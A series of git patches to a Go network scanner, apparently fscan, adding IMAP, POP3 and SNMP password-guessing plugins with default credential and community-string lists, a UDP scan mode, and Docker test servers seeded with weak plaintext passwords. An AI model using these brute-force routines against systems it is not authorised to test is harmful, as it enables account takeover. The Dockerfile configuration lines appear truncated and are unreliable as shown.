"21,22,23,80,81,135,139,389,443,445,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,135,143,139,389,443,445,993,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index eb75ecf..fd9e7e0 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -96,6 +96,12 @@ func init() { Ports: []int{25, 465, 587}, ScanFunc: Plugins.SmtpScan, }) + + Common.RegisterPlugin("imap", Common.ScanPlugin{ + Name: "IMAP", + Ports: []int{143, 993}, // 143是标准端口,993是SSL端口 + ScanFunc: Plugins.IMAPScan, + }) Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", diff --git a/Plugins/IMAP.go b/Plugins/IMAP.go new file mode 100644 index 0000000..fb6e269 --- /dev/null +++ b/Plugins/IMAP.go @@ -0,0 +1,111 @@ +package Plugins + +import ( + "bufio" + "crypto/tls" + "fmt" + "github.com/shadow1ng/fscan/Common" + "io" + "net" + "strings" + "time" +) + +func IMAPScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["imap"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := IMAPConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] IMAP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["imap"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +func IMAPConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + addr := fmt.Sprintf("%s:%s", host, port) + + // 首先尝试普通连接 + conn, err := net.DialTimeout("tcp", addr, timeout) + if err == nil { + if flag, err := tryIMAPAuth(conn, host, port, user, pass, timeout); err == nil { + return flag, nil + } + conn.Close() + } + + // 如果普通连接失败,尝试TLS连接 + tlsConfig := &tls.Config{ + InsecureSkipVerify: true, + } + conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig) + if err != nil { + return false, fmt.Errorf("连接失败: %v", err) + } + defer conn.Close() + + return tryIMAPAuth(conn, host, port, user, pass, timeout) +} + +// tryIMAPAuth 尝试IMAP认证 +func tryIMAPAuth(conn net.Conn, host string, port string, user string, pass string, timeout time.Duration) (bool, error) { + conn.SetDeadline(time.Now().Add(timeout)) + + reader := bufio.NewReader(conn) + _, err := reader.ReadString('\n') + if err != nil { + return false, fmt.Errorf("读取欢迎消息失败: %v", err) + } + + loginCmd := fmt.Sprintf("a001 LOGIN \"%s\" \"%s\"\r\n", user, pass) + _, err = conn.Write([]byte(loginCmd)) + if err != nil { + return false, fmt.Errorf("发送登录命令失败: %v", err) + } + + for { + conn.SetDeadline(time.Now().Add(timeout)) + response, err := reader.ReadString('\n') + if err != nil { + if err == io.EOF { + return false, fmt.Errorf("认证失败") + } + return false, fmt.Errorf("读取响应失败: %v", err) + } + + if strings.Contains(response, "a001 OK") { + result := fmt.Sprintf("[+] IMAP服务 %v:%v 爆破成功 用户名: %v 密码: %v", + host, port, user, pass) + Common.LogSuccess(result) + return true, nil + } + + if strings.Contains(response, "a001 NO") || strings.Contains(response, "a001 BAD") { + return false, fmt.Errorf("认证失败") + } + } +} diff --git a/go.mod b/go.mod index 7b42c92..75900b6 100644 --- a/go.mod +++ b/go.mod @@ -12,6 +12,7 @@ require ( github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-sql-driver/mysql v1.8.1 github.com/google/cel-go v0.13.0 + github.com/google/gopacket v1.1.19 github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 @@ -44,7 +45,6 @@ require ( github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect - github.com/google/gopacket v1.1.19 // indirect github.com/google/uuid v1.6.0 // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect diff --git a/go.sum b/go.sum index 82d6c11..abde22f 100644 --- a/go.sum +++ b/go.sum @@ -359,7 +359,6 @@ golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTk golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= -golang.org/x/lint v0.0.0-20190930215403-16217165b5de h1:5hukYrvBGR8/eNkX5mdUezrA6JiaEZDtJb9Ei+1LlBs= golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc= golang.org/x/lint v0.0.0-20200302205851-738671d3881b h1:Wh+f8QHJXR411sJR8/vRBTZ7YapZaRvUcLFFJhusH0k= golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= From c62e19ad2623df6a615c03eeff1ea8eddb7c10c5 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 01:50:27 +0800 Subject: [PATCH 134/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0IMAP=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/IMAP/Dockerfile | 74 ++++++++++++++++++++++++++++++++++++++ TestDocker/IMAP/README.txt | 2 ++ 2 files changed, 76 insertions(+) create mode 100644 TestDocker/IMAP/Dockerfile create mode 100644 TestDocker/IMAP/README.txt diff --git a/TestDocker/IMAP/Dockerfile b/TestDocker/IMAP/Dockerfile new file mode 100644 index 0000000..f489f54 --- /dev/null +++ b/TestDocker/IMAP/Dockerfile @@ -0,0 +1,74 @@ +FROM ubuntu:20.04 + +ENV DEBIAN_FRONTEND=noninteractive + +# 安装 Dovecot 和工具 +RUN apt-get update && \ + apt-get install -y dovecot-imapd dovecot-gssapi ssl-cert net-tools procps && \ + apt-get clean && \ + rm -rf /var/lib/apt/lists/* + +# 创建邮件存储目录和邮箱 +RUN mkdir -p /var/mail/vhosts/ && \ + chmod 777 /var/mail/vhosts/ + +# 创建用户和密码文件 +RUN echo "test:{PLAIN}123456" > /etc/dovecot/passwd && \ + echo "admin:{PLAIN}admin123" >> /etc/dovecot/passwd && \ + echo "root:{PLAIN}root123" >> /etc/dovecot/passwd && \ + chown dovecot:dovecot /etc/dovecot/passwd && \ + chmod 600 /etc/dovecot/passwd + +# 配置Dovecot +RUN echo ' \ +protocols = imap \n\ +listen = * \n\ +ssl = yes \n\ +ssl_cert = /etc/dovecot/dovecot.conf + +# 创建vmail用户并设置正确的权限 +RUN groupadd -g 5000 vmail && \ + useradd -g vmail -u 5000 vmail && \ + chown -R vmail:vmail /var/mail && \ + chown -R dovecot:dovecot /etc/dovecot && \ + chmod -R 644 /etc/dovecot/dovecot.conf + +EXPOSE 143 993 + +CMD ["dovecot", "-F"] \ No newline at end of file diff --git a/TestDocker/IMAP/README.txt b/TestDocker/IMAP/README.txt new file mode 100644 index 0000000..0d4d370 --- /dev/null +++ b/TestDocker/IMAP/README.txt @@ -0,0 +1,2 @@ +docker build -t weak-imap . +docker run -d --name imap-test -p 143:143 -p 993:993 weak-imap \ No newline at end of file From 55243008249e646f9ab2cd74d2de974f4ca79467 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 02:21:17 +0800 Subject: [PATCH 135/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0POP3=E6=89=AB?= =?UTF-8?q?=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 8 ++- Plugins/POP3.go | 123 ++++++++++++++++++++++++++++++++++++++++ 5 files changed, 135 insertions(+), 5 deletions(-) create mode 100644 Plugins/POP3.go diff --git a/Common/Config.go b/Common/Config.go index 95f0df0..2e92125 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -19,6 +19,7 @@ var Userdict = map[string][]string{ "ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"}, "smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"}, "imap": {"admin", "mail", "postmaster", "root", "user", "test"}, + "pop3": {"admin", "root", "mail", "user", "test", "postmaster"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 7b2e3aa..bc0301a 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index 7bc75d1..872a462 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,135,139,143,389,445,465,587,636,993,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,110,135,139,143,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,135,143,139,389,443,445,993,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,143,139,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index fd9e7e0..4e30cb2 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -96,13 +96,19 @@ func init() { Ports: []int{25, 465, 587}, ScanFunc: Plugins.SmtpScan, }) - + Common.RegisterPlugin("imap", Common.ScanPlugin{ Name: "IMAP", Ports: []int{143, 993}, // 143是标准端口,993是SSL端口 ScanFunc: Plugins.IMAPScan, }) + Common.RegisterPlugin("pop3", Common.ScanPlugin{ + Name: "POP3", + Ports: []int{110, 995}, // POP3和POP3S端口 + ScanFunc: Plugins.POP3Scan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/POP3.go b/Plugins/POP3.go new file mode 100644 index 0000000..ee6d334 --- /dev/null +++ b/Plugins/POP3.go @@ -0,0 +1,123 @@ +package Plugins + +import ( + "bufio" + "crypto/tls" + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "strings" + "time" +) + +func POP3Scan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + for _, user := range Common.Userdict["pop3"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := POP3Conn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] POP3服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["pop3"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +func POP3Conn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + addr := fmt.Sprintf("%s:%s", host, port) + + // 首先尝试普通连接 + conn, err := net.DialTimeout("tcp", addr, timeout) + if err == nil { + if flag, err := tryPOP3Auth(conn, host, port, user, pass, timeout, false); err == nil { + return flag, nil + } + conn.Close() + } + + // 如果普通连接失败,尝试TLS连接 + tlsConfig := &tls.Config{ + InsecureSkipVerify: true, + } + conn, err = tls.DialWithDialer(&net.Dialer{Timeout: timeout}, "tcp", addr, tlsConfig) + if err != nil { + return false, fmt.Errorf("连接失败: %v", err) + } + defer conn.Close() + + return tryPOP3Auth(conn, host, port, user, pass, timeout, true) +} + +func tryPOP3Auth(conn net.Conn, host string, port string, user string, pass string, timeout time.Duration, isTLS bool) (bool, error) { + reader := bufio.NewReader(conn) + conn.SetDeadline(time.Now().Add(timeout)) + + // 读取欢迎信息 + _, err := reader.ReadString('\n') + if err != nil { + return false, fmt.Errorf("读取欢迎消息失败: %v", err) + } + + // 发送用户名 + conn.SetDeadline(time.Now().Add(timeout)) + _, err = conn.Write([]byte(fmt.Sprintf("USER %s\r\n", user))) + if err != nil { + return false, fmt.Errorf("发送用户名失败: %v", err) + } + + // 读取用户名响应 + conn.SetDeadline(time.Now().Add(timeout)) + response, err := reader.ReadString('\n') + if err != nil { + return false, fmt.Errorf("读取用户名响应失败: %v", err) + } + if !strings.Contains(response, "+OK") { + return false, fmt.Errorf("用户名无效") + } + + // 发送密码 + conn.SetDeadline(time.Now().Add(timeout)) + _, err = conn.Write([]byte(fmt.Sprintf("PASS %s\r\n", pass))) + if err != nil { + return false, fmt.Errorf("发送密码失败: %v", err) + } + + // 读取密码响应 + conn.SetDeadline(time.Now().Add(timeout)) + response, err = reader.ReadString('\n') + if err != nil { + return false, fmt.Errorf("读取密码响应失败: %v", err) + } + + if strings.Contains(response, "+OK") { + result := fmt.Sprintf("[+] POP3服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass) + if isTLS { + result += " (TLS)" + } + Common.LogSuccess(result) + return true, nil + } + + return false, fmt.Errorf("认证失败") +} From 9e8726e1f82f621d96c0a9c212f31c2f0a7bc214 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 02:21:25 +0800 Subject: [PATCH 136/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0POP3=E6=B5=8B?= =?UTF-8?q?=E8=AF=95=E7=8E=AF=E5=A2=83?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- TestDocker/POP3/Dockerfile | 64 ++++++++++++++++++++++++++++++++++++++ TestDocker/POP3/README.txt | 2 ++ 2 files changed, 66 insertions(+) create mode 100644 TestDocker/POP3/Dockerfile create mode 100644 TestDocker/POP3/README.txt diff --git a/TestDocker/POP3/Dockerfile b/TestDocker/POP3/Dockerfile new file mode 100644 index 0000000..b8c1b54 --- /dev/null +++ b/TestDocker/POP3/Dockerfile @@ -0,0 +1,64 @@ +FROM ubuntu:20.04 + +# 避免交互式提示 +ENV DEBIAN_FRONTEND=noninteractive + +# 安装必要的包 +RUN apt-get update && apt-get install -y \ + dovecot-pop3d \ + openssl \ + && rm -rf /var/lib/apt/lists/* + +# 生成SSL证书 +RUN openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout /etc/ssl/private/dovecot.pem \ + -out /etc/ssl/certs/dovecot.pem \ + -subj "/C=US/ST=State/L=City/O=Organization/CN=localhost" + +# 配置Dovecot +RUN echo '\ +protocols = pop3\n\ +listen = *\n\ +ssl = yes\n\ +ssl_cert = /etc/dovecot/dovecot.conf + +# 创建密码文件 +RUN echo '\ +admin:{PLAIN}admin123\n\ +test:{PLAIN}test123\n\ +root:{PLAIN}root123\n\ +' > /etc/dovecot/passwd + +# 创建用户文件 +RUN echo '\ +admin:x:1000:1000::/home/admin:/bin/false\n\ +test:x:1001:1001::/home/test:/bin/false\n\ +root:x:1002:1002::/home/root:/bin/false\n\ +' > /etc/dovecot/users + +# 创建必要的目录和权限 +RUN mkdir -p /home/admin /home/test /home/root && \ + chown 1000:1000 /home/admin && \ + chown 1001:1001 /home/test && \ + chown 1002:1002 /home/root + +# 暴露端口 +EXPOSE 110 995 + +# 启动Dovecot +CMD ["dovecot", "-F"] \ No newline at end of file diff --git a/TestDocker/POP3/README.txt b/TestDocker/POP3/README.txt new file mode 100644 index 0000000..84ae03a --- /dev/null +++ b/TestDocker/POP3/README.txt @@ -0,0 +1,2 @@ +docker build -t pop3-test . +docker run -d --name pop3-server -p 110:110 -p 995:995 pop3-test \ No newline at end of file From 3529efcb249f7e211ef33238023382c1cb2c133f Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Mon, 23 Dec 2024 02:59:51 +0800 Subject: [PATCH 137/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0SNMP=E6=89=AB?= =?UTF-8?q?=E6=8F=8F=20=E5=A2=9E=E5=8A=A0UDP=E7=AB=AF=E5=8F=A3=E6=89=AB?= =?UTF-8?q?=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/Flag.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/PortScan.go | 56 +++++++++++++++++++++++-- Core/Registry.go | 6 +++ Plugins/SNMP.go | 90 +++++++++++++++++++++++++++++++++++++++++ go.mod | 1 + go.sum | 2 + 9 files changed, 158 insertions(+), 7 deletions(-) create mode 100644 Plugins/SNMP.go diff --git a/Common/Config.go b/Common/Config.go index 2e92125..d23f336 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -51,6 +51,7 @@ var ( ScanMode string // 原Scantype ThreadNum int // 原Threads UseSynScan bool + UseUdpScan bool Timeout int64 = 3 LiveTop int DisablePing bool // 原NoPing diff --git a/Common/Flag.go b/Common/Flag.go index 0d97421..6121125 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -72,6 +72,7 @@ func Flag(Info *HostInfo) { " 漏洞类: ms17010, smbghost, smb2\n"+ " 其他: findnet, wmiexec, localinfo") flag.BoolVar(&UseSynScan, "sS", false, "使用SYN扫描替代TCP全连接扫描(需要root/管理员权限)") + flag.BoolVar(&UseUdpScan, "sU", false, "使用UDP扫描(部分端口自动使用UDP协议)") flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index bc0301a..d22add6 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -21,7 +21,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 "oracle", "memcached", "elasticsearch", "rabbitmq", "kafka", "activemq", // 数据库类 - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", // 服务类 + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", // 其他 }, @@ -36,7 +36,7 @@ var pluginGroups = map[string][]string{ "web", "fcgi", }, ModeService: { - "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", + "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "snmp", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index 872a462..648e932 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,25,110,135,139,143,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" +var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,587,636,993,995,1433,1521,2222,3306,3389,5432,5672,5671,6379,8161,9000,9092,9093,9200,11211,15672,15671,27017,61616,61613" var DbPorts = "1433,1521,3306,5432,5672,6379,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,143,139,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8080,8089,9000,9200,9092,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/PortScan.go b/Core/PortScan.go index eb5a2ae..6c47933 100644 --- a/Core/PortScan.go +++ b/Core/PortScan.go @@ -84,14 +84,19 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { } func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sync.WaitGroup) { - defer wg.Done() // 保留 defer wg.Done() + defer wg.Done() var isOpen bool var err error - if Common.UseSynScan { + if Common.UseUdpScan { + // UDP扫描 + isOpen, err = UDPScan(addr.ip, addr.port, timeout) + } else if Common.UseSynScan { + // SYN扫描 isOpen, err = SynScan(addr.ip, addr.port, timeout) } else { + // 标准TCP扫描 conn, err := Common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", addr.ip, addr.port), time.Duration(timeout)*time.Second) @@ -107,7 +112,11 @@ func PortConnect(addr Addr, respondingHosts chan<- string, timeout int64, wg *sy // 记录开放端口 address := fmt.Sprintf("%s:%d", addr.ip, addr.port) - result := fmt.Sprintf("[+] 端口开放 %s", address) + protocol := "TCP" + if Common.UseUdpScan { + protocol = "UDP" + } + result := fmt.Sprintf("[+] %s端口开放 %s", protocol, address) Common.LogSuccess(result) respondingHosts <- address @@ -306,6 +315,47 @@ func calculateTCPChecksum(tcpHeader []byte, srcIP, dstIP net.IP) uint16 { return ^uint16(sum) } +func UDPScan(ip string, port int, timeout int64) (bool, error) { + // 创建UDP套接字 + sendConn, err := net.ListenPacket("udp4", "0.0.0.0:0") + if err != nil { + return false, fmt.Errorf("创建UDP套接字失败: %v", err) + } + defer sendConn.Close() + + // 设置目标地址 + dstAddr := &net.UDPAddr{ + IP: net.ParseIP(ip), + Port: port, + } + + // 发送空包 + _, err = sendConn.WriteTo([]byte{0x00}, dstAddr) + if err != nil { + return false, fmt.Errorf("发送UDP包失败: %v", err) + } + + // 设置读取超时 + sendConn.SetReadDeadline(time.Now().Add(time.Duration(timeout) * time.Second)) + + // 尝试读取响应 + buffer := make([]byte, 65507) // UDP最大包大小 + n, _, err := sendConn.ReadFrom(buffer) + + // 如果收到ICMP不可达,说明端口关闭 + if err != nil { + if netErr, ok := err.(net.Error); ok && netErr.Timeout() { + // 超时可能意味着端口开放但没有响应 + return true, nil + } + // 其他错误说明端口可能关闭 + return false, nil + } + + // 收到响应说明端口开放 + return n > 0, nil +} + // 获取系统对应的接口名 func getInterfaceName() string { switch runtime.GOOS { diff --git a/Core/Registry.go b/Core/Registry.go index 4e30cb2..eaadf7d 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -109,6 +109,12 @@ func init() { ScanFunc: Plugins.POP3Scan, }) + Common.RegisterPlugin("snmp", Common.ScanPlugin{ + Name: "SNMP", + Ports: []int{161, 162}, // SNMP默认端口 + ScanFunc: Plugins.SNMPScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go new file mode 100644 index 0000000..6e067c3 --- /dev/null +++ b/Plugins/SNMP.go @@ -0,0 +1,90 @@ +package Plugins + +import ( + "fmt" + "github.com/gosnmp/gosnmp" + "github.com/shadow1ng/fscan/Common" + "strconv" + "strings" + "time" +) + +// SNMPScan 执行SNMP服务扫描 +// SNMPScan 执行SNMP服务扫描 +func SNMPScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + portNum, _ := strconv.Atoi(info.Ports) // 添加端口转换 + + // 首先尝试默认community strings + defaultCommunities := []string{"public", "private", "cisco", "community"} + + for _, community := range defaultCommunities { + flag, err := SNMPConnect(info, community, portNum) // 传入转换后的端口 + if flag && err == nil { + return err + } + + if Common.CheckErrs(err) { + return err + } + + errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", + info.Host, info.Ports, community, err) + Common.LogError(errlog) + tmperr = err + + // 修正超时计算 + timeout := time.Duration(Common.Timeout) * time.Second + if time.Now().Unix()-starttime > int64(timeout.Seconds())*int64(len(defaultCommunities)) { + return err + } + } + + return tmperr +} + +// SNMPConnect 尝试SNMP连接 +func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, error) { + host := info.Host + timeout := 